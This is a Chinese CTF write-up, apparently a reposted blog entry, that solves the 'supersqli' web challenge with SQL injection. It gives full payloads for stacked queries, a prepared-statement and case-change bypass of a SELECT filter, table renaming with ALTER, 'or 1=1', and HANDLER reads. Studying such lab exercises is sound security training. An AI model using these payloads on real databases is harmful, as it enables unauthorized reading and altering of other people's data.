IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> 攻防世界Web:supersqli -> 正文阅读

[大数据]攻防世界Web:supersqli

题目名字提示就是SQL注入

  1. 先输入1,有回显:
  2. 判断注入类型,1'报错,1'#正常回显,说明时单字符类型注入:在这里插入图片描述在这里插入图片描述
  3. 判断字段的数量,1' order by 2#正常回显,1' oreder by 3#报错,说明字段量为2:
    在这里插入图片描述
  4. 用union去 select查询,1' union select 1,database()#,发现被preg_match过滤了:在这里插入图片描述正则表达式过滤了这些,那么只有采取其他方式进行注入,尝试用堆叠注入:1';show tables;#,发现有回显:在这里插入图片描述
  5. 爆1919810931114514的字段:-1';show columns from1919810931114514;#(数字名称需要加上反引号)
    在这里插入图片描述
  6. 爆words的字段:
-1';show columns from words;#

![在这里插入图片描述](https://img-blog.csdnimg.cn/644a13b1d97543cf9c0869475754443e.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAZG9mZA==,size_20,color_FFFFFF,t_70,g_se,x_16

方法一:预编译
7. 发现flag在1919810931114514表中,但由于限制了select字符,所以考虑用预编译的方式:

-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;#

在这里插入图片描述

  1. 预编译也过滤了set和prepare,所以用大小写去绕过:
-1';
sEt @sql = CONCAT('se','lect * from `1919810931114514`;');
prEpare stmt from @sql;
EXECUTE stmt;#

拿到flag:
在这里插入图片描述

方法二:改表

  1. 由于在测试的时候,提交查询1,2…返回了不同的查询值,在words表中看到了id-int(10)和data-(varchar(20)),和我们所提交的1,2整型数字以及一个字符串是符合的,所以就猜测words表应该是默认表,所以接下来思路就是将有flag的表名改成words表,就能得到我们所需要的flag,构造payload:
-1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

用万能密码:-1' or 1=1#,拿到flag:
在这里插入图片描述

我也看到了师傅们的另外一种方法:

handler查询

mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。

-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

总结:
SQL注入:堆叠注入、预编译处理、alert命令使用

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2021-10-16 19:42:31  更:2021-10-16 19:43:54 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 1:04:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码